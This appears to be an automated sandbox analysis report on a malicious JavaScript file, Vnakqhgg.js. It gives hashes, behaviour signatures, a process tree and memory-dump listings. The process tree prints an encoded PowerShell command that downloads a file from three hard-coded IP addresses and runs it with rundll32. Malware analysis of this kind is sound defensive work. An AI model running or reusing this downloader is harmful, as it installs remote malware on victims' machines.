8b20afb8cb70beeeca2edc91794c4065c7b553e17eb6218fcec246452facb208

Analysis

max time kernel
82s
max time network
34s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
05/05/2023, 13:46

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General

Target

Vnakqhgg.js
Size

51KB
MD5

d0bf291627ee585bce6b79b0e02be8e7
SHA1

952097b41357ee4e3aed74823a0d3c20bdd45191
SHA256

8b20afb8cb70beeeca2edc91794c4065c7b553e17eb6218fcec246452facb208
SHA512

38548e5ce504377fe0a42cfefdc034ce8299d46b4273478be06b67a0376917ed5dc2a7e94cbc62e3cdb37b871b3a7a0a3ba74641bb6e3f96d3a7082880dfc3ba
SSDEEP

768:2ySwBrvGSnhvVUgUBjBLGSCOkhyDu7mSm/jAcTfGPF+82H0VtjJekxz664ahBKpv:2fwLx+ileEiZjClQ

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1680	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1680	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1536 wrote to memory of 1260	1536	wscript.exe	28
PID 1536 wrote to memory of 1260	1536	wscript.exe	28
PID 1536 wrote to memory of 1260	1536	wscript.exe	28
PID 1260 wrote to memory of 1680	1260	wscript.exe	29
PID 1260 wrote to memory of 1680	1260	wscript.exe	29
PID 1260 wrote to memory of 1680	1260	wscript.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Vnakqhgg.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1536
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Vnakqhgg.js" levulosuria overmilitaristicallyTelluretted
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANwAyADsAJAByAGEAZgB0AGkAbgBnACAAPQAgACgAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQAyADEALgAxADYALgAyADMAMwAvAFgAVABMAFkAMQBYAFEALwBYAEwASgBYAGUAQwAwACwAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEAMgAxAC4AMQA2AC4AMgAzADIALwB3ADAARwAvAG4AZQA0AFYAZQBGAFQAeAB1AFEALABoAHQAdABwADoALwAvADEANQAxAC4AMgAzADYALgAxADQALgAxADIANwAvAEYAUQBvAEIAQgBRAC8AcQBuAEkAcABNADYAQwBaAEQAdQB2ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAbgBzAGUAYwB0AGEAcgBpAHUAbQBzAFMAdAB1AG0AcABhAGcAZQBzACAAaQBuACAAJAByAGEAZgB0AGkAbgBnACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABJAG4AcwBlAGMAdABhAHIAaQB1AG0AcwBTAHQAdQBtAHAAYQBnAGUAcwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYwBpAG4AZQBtAGEAdABvAGcAcgBhAHAAaAB5AEQAbwB3AHMAZQByAHMALgBVAG4AbwByAGQAYQBpAG4AZQBkAEQAZQBzAHMAdQBzADsAIABpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAXABjAGkAbgBlAG0AYQB0AG8AZwByAGEAcABoAHkARABvAHcAcwBlAHIAcwAuAFUAbgBvAHIAZABhAGkAbgBlAGQARABlAHMAcwB1AHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAxADYAOQAwADAAMAApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBRAEEAUgBRAEIATgBBAEYAQQBBAFgAQQBCAGoAQQBHAGsAQQBiAGcAQgBsAEEARwAwAEEAWQBRAEIAMABBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBjAEEAQgBvAEEASABrAEEAUgBBAEIAdgBBAEgAYwBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQQB1AEEARgBVAEEAYgBnAEIAdgBBAEgASQBBAFoAQQBCAGgAQQBHAGsAQQBiAGcAQgBsAEEARwBRAEEAUgBBAEIAbABBAEgATQBBAGMAdwBCADEAQQBIAE0AQQBMAEEAQgBVAEEARwBrAEEAYgBRAEIAbABBAEQAcwBBACIAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1680

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1680-58-0x000000001B3F0000-0x000000001B6D2000-memory.dmp

Filesize
2.9MB

Download
memory/1680-59-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/1680-60-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/1680-61-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/1680-62-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/1680-63-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/1680-64-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/1680-65-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/1680-66-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/1680-67-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download